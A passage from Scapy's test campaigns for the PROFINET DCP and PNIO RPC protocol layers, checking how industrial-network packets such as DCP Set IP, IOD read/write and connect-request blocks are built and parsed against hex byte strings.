b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') assert p[ProfinetIO].frameID == 0xfefd assert p[ProfinetDCP].service_id == 0x04 assert p[ProfinetDCP].service_type == 0x01 assert p[ProfinetDCP].xid == 0x0000001 assert p[ProfinetDCP].reserved == 0x00 assert p[ProfinetDCP].dcp_data_length == 0x08 assert p[DCPControlBlock].option == 0x05 assert p[DCPControlBlock].sub_option == 0x04 assert p[DCPControlBlock].dcp_block_length == 0x03 assert p[DCPControlBlock].response == 0x02 assert p[DCPControlBlock].response_sub_option == 0x02 assert p[DCPControlBlock].block_error == 0x00 = DCP Set Full IP Suite Request parsing p = Ether(b'\x12\x34\x00\x78\x90\xab\xc8\x5b\x76\xe6\x89\xdf' \ b'\x88\x92\xfe\xfd\x04\x00\x00\x00\x00\x04\x00\x00' \ b'\x00\x28\x01\x03\x00\x1e\x00\x00\xc0\xa8\x01\xab' \ b'\xff\xff\xff\x00\xc0\xa8\x01\x01\x01\x02\x03\x04' \ b'\x05\x06\x07\x08\x00\x00\x00\x00\x00\x00\x00\x00') assert p[ProfinetIO].frameID == 0xfefd assert p[ProfinetDCP].service_id == 0x04 assert p[ProfinetDCP].service_type == 0x00 assert p[ProfinetDCP].xid == 0x0000004 assert p[ProfinetDCP].reserved == 0x00 assert p[ProfinetDCP].dcp_data_length == 40 assert p[ProfinetDCP].option == 0x01 assert p[ProfinetDCP].sub_option == 0x03 assert p[ProfinetDCP].ip == "192.168.1.171" assert p[ProfinetDCP].netmask == "255.255.255.0" assert p[ProfinetDCP].gateway == "192.168.1.1" assert p[ProfinetDCP].dnsaddr[0] == "1.2.3.4" assert p[ProfinetDCP].dnsaddr[1] == "5.6.7.8" assert p[ProfinetDCP].dnsaddr[2] == "0.0.0.0" assert p[ProfinetDCP].dnsaddr[3] == "0.0.0.0" = DCP Identify All Request crafting # dcp_data_length cannot be calculated automatically at this time p = ProfinetIO(frameID=DCP_IDENTIFY_REQUEST_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY, service_type=DCP_REQUEST, option=255, sub_option=255, dcp_data_length=4) assert p[ProfinetIO].frameID == 0xfefe assert p[ProfinetDCP].service_id == 0x05 assert p[ProfinetDCP].service_type == 0x00 assert p[ProfinetDCP].xid == 0x1000001 assert p[ProfinetDCP].reserved == 0x00 assert p[ProfinetDCP].dcp_data_length == 0x04 assert p[ProfinetDCP].option == 0xff assert p[ProfinetDCP].sub_option == 0xff assert p[ProfinetDCP].dcp_block_length == 0x00 = DCP Set Name Request with specified name crafting p = ProfinetIO(frameID=DCP_GET_SET_FRAME_ID) / ProfinetDCP ( service_id=DCP_SERVICE_ID_SET, service_type=DCP_REQUEST, option=2, sub_option=2, name_of_station="device", dcp_block_length=8, dcp_data_length=12) assert p[ProfinetIO].frameID == 0xfefd assert p[ProfinetDCP].service_id == 0x04 assert p[ProfinetDCP].service_type == 0x00 assert p[ProfinetDCP].xid == 0x1000001 assert p[ProfinetDCP].reserved == 0x00 assert p[ProfinetDCP].dcp_data_length == 0x0c assert p[ProfinetDCP].option == 0x02 assert p[ProfinetDCP].sub_option == 0x02 assert p[ProfinetDCP].dcp_block_length == 0x08 assert p[ProfinetDCP].block_qualifier == 0x0001 = DCP Identify Response crafting p = ProfinetIO(frameID=DCP_IDENTIFY_RESPONSE_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_IDENTIFY, service_type=DCP_RESPONSE, dcp_data_length=12) / DCPNameOfStationBlock(name_of_station="device", dcp_block_length=8) assert p[ProfinetIO].frameID == 0xfeff assert p[ProfinetDCP].service_id == 0x05 assert p[ProfinetDCP].service_type == 0x01 assert p[ProfinetDCP].xid == 0x1000001 assert p[ProfinetDCP].reserved == 0x00 assert p[ProfinetDCP].dcp_data_length == 0x0c assert p[DCPNameOfStationBlock].option == 0x02 assert p[DCPNameOfStationBlock].sub_option == 0x02 assert p[DCPNameOfStationBlock].dcp_block_length == 0x08 assert p[DCPNameOfStationBlock].block_info == 0x00 assert p[DCPNameOfStationBlock].name_of_station == b'device' = DCP Set Full IP Suite Request crafting p = ProfinetIO(frameID=DCP_GET_SET_FRAME_ID) / ProfinetDCP(service_id=DCP_SERVICE_ID_SET, service_type=DCP_REQUEST, option=1, sub_option=3, ip='192.168.1.171', netmask='255.255.255.0', gateway='192.168.1.1', dnsaddr=['1.2.3.4', '5.6.7.8'], dcp_data_length=40, dcp_block_length=30) assert p[ProfinetIO].frameID == 0xfefd assert p[ProfinetDCP].service_id == 0x04 assert p[ProfinetDCP].service_type == 0x00 assert p[ProfinetDCP].xid == 0x1000001 assert p[ProfinetDCP].reserved == 0x00 assert p[ProfinetDCP].dcp_data_length == 40 assert p[ProfinetDCP].option == 0x01 assert p[ProfinetDCP].sub_option == 0x03 assert p[ProfinetDCP].ip == "192.168.1.171" assert p[ProfinetDCP].netmask == "255.255.255.0" assert p[ProfinetDCP].gateway == "192.168.1.1" assert p[ProfinetDCP].dnsaddr[0] == "1.2.3.4" assert p[ProfinetDCP].dnsaddr[1] == "5.6.7.8" conf.debug_dissector = old_conf_dissector ================================================ FILE: test/contrib/pnio_rpc.uts ================================================ % PNIO RPC layer test campaign + Syntax check = Import the PNIO RPC layer from scapy.layers.dcerpc import * from scapy.contrib.pnio import * from scapy.contrib.pnio_rpc import * = Check that we have UUIDs for v in RPC_INTERFACE_UUID.values(): assert isinstance(v, UUID) + Check Block = Block default values bytes(Block()) == bytearray.fromhex('000000020100') = Block basic example bytes(Block(load=b'\x01\x02\x03')) == bytearray.fromhex('000000050100010203') = Block has no payload (only padding) p = Block(bytearray.fromhex('000000050100010203040506')) p == Block(block_length=5, load=b'\x01\x02\x03') / conf.padding_layer(b'\x04\x05\x06') #################################################################### #################################################################### + Check IODControlReq = IODControlReq default values bytes(IODControlReq()) == bytearray.fromhex('0000001c01000000000000000000000000000000000000000000000000000000') = IODControlReq basic example (IODControlReq PrmEnd control) bytes(IODControlReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=2, ControlCommand_PrmEnd=1)) == bytearray.fromhex('0110001c010000000123456789abcdef0123456789abcdef0002000000010000') = IODControlReq dissection p = IODControlReq(bytearray.fromhex('0118001c010000000123456789abcdef0123456789abcdef0005000000400000ef')) p == IODControlReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, ControlCommand_PrmBegin=1, block_type='IODBlockReq_connect_begin', block_length=28, padding=b'\0\0') / conf.padding_layer(b'\xef') = IODControlReq response p = p.get_response() p == IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, block_type='IODBlockRes_connect_begin') #################################################################### + Check IODControlRes = IODControlRes default values bytes(IODControlRes()) == bytearray.fromhex('8110001c01000000000000000000000000000000000000000000000000080000') = IODControlRes basic example (IODControlRes PrmEnd control) bytes(IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=2, block_type='IODBlockRes_connect_end')) == bytearray.fromhex('8110001c010000000123456789abcdef0123456789abcdef0002000000080000') = IODControlRes dissection p = IODControlRes(bytearray.fromhex('8118001c010000000123456789abcdef0123456789abcdef0005000000080000ef')) p == IODControlRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=5, block_type='IODBlockRes_connect_begin', block_length=28, padding=b'\0\0') / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check IODWriteReq = IODWriteReq default values bytes(IODWriteReq()) == bytearray.fromhex('0008003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') = IODWriteReq basic example bytes(IODWriteReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321 ) / b'\xab\xcd' ) == bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') = IODWriteReq dissection p = IODWriteReq(bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcdef')) p == IODWriteReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321, block_length=60, recordDataLength=2, padding='\0\0', RWPadding=b'\0'*24 ) / b'\xab\xcd' / conf.padding_layer(b'\xef') = IODWriteReq response p = p.get_response() p == IODWriteRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321) #################################################################### + Check IODWriteRes = IODWriteRes default values bytes(IODWriteRes()) == bytearray.fromhex('8008003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') = IODWriteRes basic example bytes(IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321 )) == bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') = IODWriteRes dissection p = IODWriteRes(bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000ef')) p == IODWriteRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321, recordDataLength=0, block_length=60, padding=b'\0\0', RWPadding=b'\0'*16 ) / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check IODWriteMultipleReq ######### = IODWriteMultipleReq default values bytes(IODWriteMultipleReq()) == bytearray.fromhex('0008003c0100000000000000000000000000000000000000ffffffffffffffff0000e04000000000000000000000000000000000000000000000000000000000') ######### = IODWriteMultipleReq basic example bytes(IODWriteMultipleReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[ IODWriteReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321 ) / b'\xab\xcd', IODWriteReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, index=0x1234 ) / b'\x01\x02', ]) ) == bytearray.fromhex('0008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000086000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') + b'\0\0' + \ bytearray.fromhex('0008003c010000020123456789abcdef0123456789abcdef000000020003000400001234000000020000000000000000000000000000000000000000000000000102') ######### = IODWriteMultipleReq dissection p = IODWriteMultipleReq( bytearray.fromhex('0008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000086000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('0008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcd') + b'\0\0' + \ bytearray.fromhex('0008003c010000020123456789abcdef0123456789abcdef000000020003000400001234000000020000000000000000000000000000000000000000000000000102') + b'\xef' ) p == IODWriteMultipleReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', recordDataLength=0x86, padding=b'\0'*2, RWPadding=b'\0'*24, block_length=60, blocks=[ IODWriteReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321, recordDataLength=2, padding=b'\0'*2, RWPadding=b'\0'*24, block_length=60 ) / b'\xab\xcd', IODWriteReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, index=0x1234, recordDataLength=2, padding=b'\0'*2, RWPadding=b'\0'*24, block_length=60 ) / b'\x01\x02', ]) / conf.padding_layer(b'\xef') ######### = IODWriteMultipleReq response p = p.get_response() p == IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[ IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321 ), IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, index=0x1234 ), ]) #################################################################### + Check IODWriteMultipleRes = IODWriteMultipleRes default values bytes(IODWriteMultipleRes()) == bytearray.fromhex('8008003c0100000000000000000000000000000000000000ffffffffffffffff0000e04000000000000000000000000000000000000000000000000000000000') = IODWriteMultipleRes basic example bytes(IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', blocks=[ IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321 ), IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, index=0x1234 ), ]) ) == bytearray.fromhex('8008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000080000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('8008003c010000020123456789abcdef0123456789abcdef00000002000300040000123400000000000000000000000000000000000000000000000000000000') = IODWriteMultipleRes dissection p = IODWriteMultipleRes( bytearray.fromhex('8008003c010000000123456789abcdef0123456789abcdefffffffffffffffff0000e04000000080000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('8008003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') + \ bytearray.fromhex('8008003c010000020123456789abcdef0123456789abcdef00000002000300040000123400000000000000000000000000000000000000000000000000000000') + b'\xef' ) p == IODWriteMultipleRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', recordDataLength=0x80, padding=b'\0'*2, RWPadding=b'\0'*16, block_length=60, blocks=[ IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321, recordDataLength=0, padding=b'\0'*2, RWPadding=b'\0'*16, block_length=60 ), IODWriteRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=2, API=2, slotNumber=3, subslotNumber=4, index=0x1234, recordDataLength=0, padding=b'\0'*2, RWPadding=b'\0'*16, block_length=60 ), ]) / conf.padding_layer(b'\xef') #################################################################### + Check IODReadReq = IODReadReq default values bytes(IODReadReq()) == bytearray.fromhex('0009003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') = IODReadReq basic example bytes(IODReadReq( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321) ) == bytearray.fromhex('0009003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') = IODReadReq dissection p = IODReadReq(bytearray.fromhex('0009003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000002000000000000000000000000000000000000000000000000abcdef')) p == IODReadReq(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321, block_length=60, recordDataLength=2, padding='\0\0', RWPadding=b'\0'*24 ) / b'\xab\xcd' / conf.padding_layer(b'\xef') = IODReadReq response p = p.get_response() p == IODReadRes(ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321) #################################################################### + Check IODReadRes = IODReadRes default values bytes(IODReadRes()) == bytearray.fromhex('8009003c010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') = IODReadRes basic example bytes(IODReadRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321)) == bytearray.fromhex('8009003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000') = IODReadRes dissection p = IODReadRes(bytearray.fromhex('8009003c010000010123456789abcdef0123456789abcdef00000001000200030000432100000000000000000000000000000000000000000000000000000000ef')) p == IODReadRes( ARUUID='01234567-89ab-cdef-0123-456789abcdef', seqNum=1, API=1, slotNumber=2, subslotNumber=3, index=0x4321, recordDataLength=0, block_length=60, padding=b'\0\0', RWPadding=b'\0'*20 ) / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check I&M = IM0Block default values raw(IM0Block()) == bytearray.fromhex('002000380100000000000000000000000000000000000000000000000000000000000000000000000000000000005600000000000000000001010000') = IM0Block basic example raw(IM0Block(OrderID='foobar', IMSerialNumber='ABCDEF1234567890')) == bytearray.fromhex('0020003801000000666f6f62617200000000000000000000000000004142434445463132333435363738393000005600000000000000000001010000') = IM1Block default values raw(IM1Block()) == bytearray.fromhex('002100380100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') = IM2Block default values raw(IM2Block()) == bytearray.fromhex('00220012010000000000000000000000000000000000') = IM3Block default values raw(IM3Block()) == bytearray.fromhex('002300380100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') = IM4Block default values raw(IM4Block()) == bytearray.fromhex('002400380100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000') #################################################################### #################################################################### + Check ARBlockReq = ARBlockReq default values bytes(ARBlockReq()) == bytearray.fromhex('0101003601000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000103e888920000') = ARBlockReq basic example bytes(ARBlockReq( ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1, CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator', CMInitiatorStationName='plc1') ) == bytearray.fromhex('0101003a010000010123456789abcdef0123456789abcdef0001000000000000dea000006c9711d182710102030405060000001103e888920004') + b'plc1' = ARBlockReq dissection p = ARBlockReq(bytearray.fromhex('0101003a010000010123456789abcdef0123456789abcdef0001010203040506dea000006c9711d182710102030405060000001103e888920004') + b'plc1' + b'\xef') p == ARBlockReq( ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1, CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator', CMInitiatorMacAdd='01:02:03:04:05:06', StationNameLength=4, CMInitiatorStationName='plc1', block_length=58 ) / conf.padding_layer(b'\xef') = ARBlockReq response p = p.get_response() p == ARBlockRes(ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1) #################################################################### + Check ARBlockRes = ARBlockRes default values bytes(ARBlockRes()) == bytearray.fromhex('8101001e010000010000000000000000000000000000000000000000000000008892') = ARBlockRes basic example bytes( ARBlockRes(ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1) ) == bytearray.fromhex('8101001e010000010123456789abcdef0123456789abcdef00010000000000008892') = ARBlockRes dissection p = ARBlockRes(bytearray.fromhex('8101001e010000010123456789abcdef0123456789abcdef00010102030405068892ef')) p == ARBlockRes( ARType='IOCARSingle', ARUUID='01234567-89ab-cdef-0123-456789abcdef', SessionKey=1, CMResponderMacAdd='01:02:03:04:05:06', block_length=30) / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check IOCRBlockReq = IOCRBlockReq default values bytes(IOCRBlockReq()) == bytearray.fromhex('0102002a010000010001889200000000002880000020002000010000ffffffff000a000ac0000000000000000000') = IOCRAPI default values bytes(IOCRAPI()) == bytearray.fromhex('0000000000000000') = IOCRAPIObject default values bytes(IOCRAPIObject()) == bytearray.fromhex('000000000000') = IOCRBlockReq basic example p = IOCRBlockReq( IOCRType='OutputCR', IOCRReference=1, SendClockFactor=2, ReductionRatio=32, DataLength=47, FrameID=0x8014, APIs=[ IOCRAPI( API=4, IODataObjects=[ IOCRAPIObject(SlotNumber=2, SubslotNumber=1, FrameOffset=0), IOCRAPIObject(SlotNumber=1, SubslotNumber=1, FrameOffset=9), ] ), IOCRAPI( API=0, IODataObjects=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=15), ], IOCSs=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=4), ], ), ] ) bytes(p) == \ bytearray.fromhex('01020052010000020001889200000000002f80140002002000010000ffffffff000a000ac0000000000000000002' + \ '0000000400020002000100000001000100090000' + \ '00000000000100030001000f0001000300010004') = IOCRBlockReq dissection p = IOCRBlockReq( bytearray.fromhex('01020052010000020001889200000000002f80140002002000010000ffffffff000a000ac0000102030405060002' + \ '0000000400020002000100000001000100090000' + \ '00000000000100030001000f0001000300010004') + b'\xef') p == IOCRBlockReq( IOCRType='OutputCR', IOCRReference=1, SendClockFactor=2, IOCRMulticastMACAdd='01:02:03:04:05:06', ReductionRatio=32, DataLength=47, FrameID=0x8014, block_length=82, NumberOfAPIs=2, APIs=[ IOCRAPI( API=4, NumberOfIODataObjects=2, IODataObjects=[ IOCRAPIObject(SlotNumber=2, SubslotNumber=1, FrameOffset=0), IOCRAPIObject(SlotNumber=1, SubslotNumber=1, FrameOffset=9), ], NumberOfIOCS=0 ), IOCRAPI( API=0, NumberOfIODataObjects=1, IODataObjects=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=15), ], NumberOfIOCS=1, IOCSs=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1, FrameOffset=4), ], ), ] ) / conf.padding_layer(b'\xef') = IOCRBlockReq response p = p.get_response() p == IOCRBlockRes(IOCRType='OutputCR', IOCRReference=1, FrameID=0x8014) #################################################################### + Check IOCRBlockRes = IOCRBlockRes default values bytes(IOCRBlockRes()) == bytearray.fromhex('810200080100000100018000') = IOCRBlockRes basic example bytes( IOCRBlockRes(IOCRType='InputCR', IOCRReference=2, FrameID=0x8014) ) == bytearray.fromhex('810200080100000100028014') = IOCRBlockRes dissection p = IOCRBlockRes(bytearray.fromhex('810200080100000100028014ef')) p == IOCRBlockRes(IOCRType='InputCR', IOCRReference=2, FrameID=0x8014, block_length=8) / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check ExpectedSubmoduleBlockReq = ExpectedSubmoduleBlockReq default values bytes(ExpectedSubmoduleBlockReq()) == bytearray.fromhex('0104000401000000') = ExpectedSubmoduleAPI default values bytes(ExpectedSubmoduleAPI()) == bytearray.fromhex('0000000000000000000000000000') = ExpectedSubmodule default values bytes(ExpectedSubmodule()) == bytearray.fromhex('0000000000000000') = ExpectedSubmoduleDataDescription default values bytes(ExpectedSubmoduleDataDescription()) == bytearray.fromhex('000000000000') = ExpectedSubmoduleBlockReq basic example p = ExpectedSubmoduleBlockReq( APIs=[ ExpectedSubmoduleAPI( API=4, SlotNumber=2, ModuleIdentNumber=0x08c4, Submodules=[ ExpectedSubmodule( SubslotNumber=1, SubmoduleIdentNumber=0x0123, SubmoduleProperties_Type='INPUT_OUTPUT', DataDescription=[ ExpectedSubmoduleDataDescription( DataDescription='Output', SubmoduleDataLength=5, LengthIOPS=2, LengthIOCS=0 ), ExpectedSubmoduleDataDescription( DataDescription='Input', SubmoduleDataLength=3, LengthIOPS=1, LengthIOCS=2 ) ] ), ] ), ] ) bytes(p) == \ bytearray.fromhex('0104002601000001') + \ bytearray.fromhex('000000040002000008c400000001') + \ bytearray.fromhex('0001000001230003') + \ bytearray.fromhex('000200050002') + \ bytearray.fromhex('000100030201') = ExpectedSubmoduleBlockReq dissection p = ExpectedSubmoduleBlockReq( bytearray.fromhex('0104002601000001') + \ bytearray.fromhex('000000040002000008c400000001') + \ bytearray.fromhex('0001000001230003') + \ bytearray.fromhex('000200050002') + \ bytearray.fromhex('000100030201') + b'\xef' ) p == ExpectedSubmoduleBlockReq(block_length=38, NumberOfAPIs=1, APIs=[ ExpectedSubmoduleAPI( API=4, SlotNumber=2, ModuleIdentNumber=0x08c4, NumberOfSubmodules=1 ,Submodules=[ ExpectedSubmodule( SubslotNumber=1, SubmoduleIdentNumber=0x0123, SubmoduleProperties_Type='INPUT_OUTPUT', DataDescription=[ ExpectedSubmoduleDataDescription( DataDescription='Output', SubmoduleDataLength=5, LengthIOPS=2, LengthIOCS=0 ), ExpectedSubmoduleDataDescription( DataDescription='Input', SubmoduleDataLength=3, LengthIOPS=1, LengthIOCS=2 ) ] ), ] ), ] ) / conf.padding_layer(b'\xef') #################################################################### #################################################################### + Check AlarmCRBlockReq = AlarmCRBlockReq default values bytes(AlarmCRBlockReq()) == bytearray.fromhex('010300160100000188920000000000010003000300c8c000a000') = AlarmCRBlockReq with transport bytes(AlarmCRBlockReq(AlarmCRProperties_Transport=1)) == bytearray.fromhex('010300160100000108004000000000010003000300c8c000a000') = AlarmCRBlockReq dissection p = AlarmCRBlockReq(bytearray.fromhex('010300160100000188920000000000010003000300c8c000a000')) p[AlarmCRBlockReq].AlarmCRType == 0x0001 p[AlarmCRBlockReq].LocalAlarmReference == 0x0003 = AlarmCRBlockReq response p = p.get_response() p == AlarmCRBlockRes(AlarmCRType=0x0001, LocalAlarmReference=0x0003) + Check AlarmCRBlockRes = AlarmCRBlockRes default values bytes(AlarmCRBlockRes()) == bytearray.fromhex('810300080100000100000000') = AlarmCRBlockRes dissection p = AlarmCRBlockRes(bytearray.fromhex('810300080100000100030000')) p[AlarmCRBlockRes].AlarmCRType == 0x0001 p[AlarmCRBlockRes].LocalAlarmReference == 0x0003 #################################################################### #################################################################### + Check PNIOServiceReqPDU = PNIOServiceReqPDU basic example * PNIOServiceReqPDU must always be placed above a DCE/RPC layer as it requires the endianness field p = DceRpc4() / PNIOServiceReqPDU(blocks=[ Block(load=b'\x01\x02') ]) s = bytes(p) # Remove the random UUID part before comparison assert s[:18] + s[24:] == b'\x04\x00\x00\x00\x10\x00\x00\x00\x00\x00\xa0\xde\x97l\xd1\x11\x82q\x01\x00\xa0\xde\x97l\xd1\x11\x82q\x00\xa0$B\xdf}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x1c\x00\x00\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x04\x01\x00\x01\x02' = PNIOServiceReqPDU dissection p = DceRpc4( bytes(bytearray.fromhex('0400000000000000dea000006c9711d18271010203040506dea000016c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \ '0000000f000000080000000f0000000000000008' + \ '0000000401000102ef') )) bytes(p.payload) == bytes(PNIOServiceReqPDU(args_length=8, args_max=15, max_count=15, actual_count=8, blocks=[ Block(block_length=4, load=b'\x01\x02') ] ) / b'\xef') #################################################################### #################################################################### + Check PNIOServiceResPDU = PNIOServiceResPDU basic example * PNIOServiceResPDU must always be placed above a DCE/RPC layer as it requires the endianness field p = DceRpc4() / PNIOServiceResPDU(blocks=[ Block(load=b'\x01\x02') ]) s = bytes(p) # Remove the random UUID part before comparison assert s[:18] + s[24:] == b'\x04\x02\x00\x00\x10\x00\x00\x00\x00\x00\xa0\xde\x97l\xd1\x11\x82q\x02\x00\xa0\xde\x97l\xd1\x11\x82q\x00\xa0$B\xdf}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x04\x01\x00\x01\x02' = PNIOServiceResPDU dissection p = DceRpc4( bytes(bytearray.fromhex('0402000000000000dea000006c9711d18271010203040506dea000026c9711d1827100a02442df7d000000000000000000000000000000000000000000000001000000000000ffffffff001c00000000' + \ '00001234000000080000000f0000000000000008' + \ '0000000401000102ef') )) bytes(p.payload) == bytes(PNIOServiceResPDU(status=0x1234, args_length=8, max_count=15, actual_count=8, blocks=[ Block(block_length=4, load=b'\x01\x02') ] ) / b'\xef') #################################################################### ## Some usual examples ## #################################################################### + Check some basic examples #### Connect Request = A PNIO RPC Connect Request p = DceRpc4( endian='little', opnum=0, seqnum=0, object='dea00000-6c97-11d1-8271-010203040506', act_id='01234567-89ab-cdef-0123-456789abcdef' ) / PNIOServiceReqPDU( blocks=[ # AR block ARBlockReq( ARType='IOCARSingle', ARUUID='fedcba98-7654-3210-fedc-ba9876543210', SessionKey=0, CMInitiatorMacAdd='01:02:03:04:05:06', CMInitiatorStationName='plc-1', CMInitiatorObjectUUID='dea00000-6c97-11d1-8271-010203040506', ARProperties_ParametrizationServer='CM_Initator' ), # IO CR input block IOCRBlockReq( IOCRType='InputCR', IOCRReference=1, SendClockFactor=2, ReductionRatio=32, DataLength=40, APIs=[ IOCRAPI( API=0, IODataObjects=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=15), ], IOCSs=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=4), ], ), ] ), # IO CR output block IOCRBlockReq( IOCRType='OutputCR', IOCRReference=2, SendClockFactor=8, ReductionRatio=32, DataLength=52, FrameID=0xffff, APIs=[ IOCRAPI( API=0, IODataObjects=[ IOCRAPIObject(SlotNumber=3, SubslotNumber=1,FrameOffset=0), IOCRAPIObject(SlotNumber=1, SubslotNumber=2,FrameOffset=9), ], ), ] ), # List of expected submodules ExpectedSubmoduleBlockReq( APIs=[ ExpectedSubmoduleAPI( API=0, SlotNumber=3, ModuleIdentNumber=0x08c4, Submodules=[ ExpectedSubmodule( SubslotNumber=1, SubmoduleIdentNumber=0x0124, SubmoduleProperties_Type='INPUT_OUTPUT', 